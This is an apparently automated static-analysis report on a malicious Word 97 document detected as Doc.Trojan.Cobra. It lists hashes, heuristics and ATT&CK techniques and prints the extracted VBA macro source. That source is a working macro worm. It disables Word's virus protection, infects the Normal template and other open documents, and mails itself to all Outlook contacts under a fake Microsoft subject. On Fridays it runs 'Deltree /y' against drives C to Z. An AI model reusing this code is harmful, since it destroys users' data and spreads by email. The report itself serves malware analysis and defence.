Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e07ea5bab39a5bf9…

MALICIOUS

Office (OLE)

44.0 KB Created: 2000-03-08 12:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8d259f4bac4499c2689f14a3fdff5571 SHA-1: 3216af13f525ab138e4b0138edc29b5f4c24315a SHA-256: e07ea5bab39a5bf9e98e5131140ed188979ed7c9c57ff041985990500efc4a29
380 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This Office document contains VBA macros, including AutoOpen and Auto_Close, which are designed to execute automatically. The critical heuristic 'OLE_VBA_SHELL' indicates a call to the Shell() function, and the script attempts to write to the registry key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy, likely for persistence. The ClamAV detections 'Doc.Trojan.Cobra-9' and 'Doc.Trojan.Cobra-3' further confirm its malicious nature, suggesting it acts as a downloader for further malicious activity.

Heuristics 8

  • ClamAV: Doc.Trojan.Cobra-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cobra-9
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15777 bytes
SHA-256: 215d34e020aac44e30285f3b340719eb53609a770e61fb78d2b28d972bc8c241
Detection
ClamAV: Doc.Trojan.Cobra-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AFATEHA"
'AFATEHA Version 1.0A
Sub PRT()
On Error Resume Next
CustomizationContext = NormalTemplate
For IOT = 1 To 3
CommandBars("Macro").Controls(IOT).OnAction = "ViewVBCode"
Next
CommandBars("View").Controls("Toolbars").Delete
Options.VirusProtection = False
Options.SaveNormalPrompt = False
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF8)).Disable
End Sub
Sub IDN()
On Error Resume Next
Set N = NormalTemplate
Set D = ActiveDocument
NIN = False
For Each M In N.VBProject.VBComponents
If M.Name = "AFATEHA" Then NIN = True
If M.Name <> "ThisDocument" And M.Name <> "AFATEHA" Then Application.OrganizerDelete Source:=N.FullName, Name:=M.Name, Object:=wdOrganizerObjectProjectItems
Next
If NIN = False Then Application.OrganizerCopy Source:=D.FullName, Destination:=N.FullName, Name:="AFATEHA", Object:=wdOrganizerObjectProjectItems
For Each OD In Documents
For Each M In OD.VBProject.VBComponents
DIN = False
If M.Name = "AFATEHA" Then DIN = True
If M.Name <> "AFATEHA" And M.Name <> "Reference to Normal" And M.Name <> "ThisDocument" Then Application.OrganizerDelete Source:=OD.FullName, Name:=M.Name, Object:=wdOrganizerObjectProjectItems
Next
If DIN = False Then
Application.OrganizerCopy Source:=N.FullName, Destination:=OD.FullName, Name:="AFATEHA", Object:=wdOrganizerObjectProjectItems
OD.SaveAs OD.FullName, wdFormatDocument, False
End If
Next
End Sub
Sub ViewVBCode()
End Sub
Sub ChithiPathanoo()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") <> "Fateha N Liton" Then
ADS = "'" + String(50, "-") + Chr(13) + _
"'" + System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") + Chr(13) + _
"'" + System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOrganization") + Chr(13) + _
"'" + String(50, "-")
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") = "Fateha N Liton"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOrganization") = "Shibrampur/Burichang/Comilla/BD"
ActiveDocument.VBProject.VBComponents("AFATEHA").CodeModule.InsertLines ActiveDocument.VBProject.VBComponents("AFATEHA").CodeModule.CountOfLines + 1, ADS
End If
Dim UD, DAS, AB, BO, TOT
Set UD = CreateObject("Outlook.Application")
Set DAS = UD.GetNameSpace("MAPI")
DAS.Logon "profile", "password"
For LO = 1 To DAS.AddressLists.Count
Set AB = DAS.AddressLists(y)
XAX = 1
Set BO = UD.CreateItem(0)
For IOT = 1 To AB.AddressEntries.Count
TOT = AB.AddressEntries(XAX)
BO.Recipients.Add TOT
XAX = XAX + 1
Next IOT
BO.Subject = "Important Message From Microsoft Via " & Application.UserName
BO.Body = "Important document:-"
BO.Add ActiveDocument.FullName
BO.Send
TOT = ""
Next LO
DAS.Logoff
End Sub
Sub NostoHD()
If WeekDay(Date) = 6 Then
For IOT = 67 To 67 + 23
Shell "Deltree /y " & Chr(IOT) & ":\", vbHide
Next
End If
End Sub
Sub FileNew()
Call PRT
Call IDN
Call ChithiPathanoo
Call NostoHD
Dialogs(wdDialogFileNew).Show
End Sub
Sub FileExit()
Call PRT
Call IDN
Call ChithiPathanoo
Call NostoHD
WordBasic.FileExit
End Sub
Sub FileOpen()
Call PRT
Call IDN
Call ChithiPathanoo
Call NostoHD
Dialogs(wdDialogFileOpen).Show
End Sub
Sub AutoClose()
Call PRT
Call IDN
Call ChithiPathanoo
Call NostoHD
End Sub
Sub AutoOpen()
Call PRT
Call IDN
Call ChithiPathanoo
Call NostoHD
End Sub
'--------------------------------------------------
'ETAC
'BAGLADESH
'--------------------------------------------------
'--------------------------------------------------
'DEFODDILS
'KALABAGAN
'-------------------------------
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.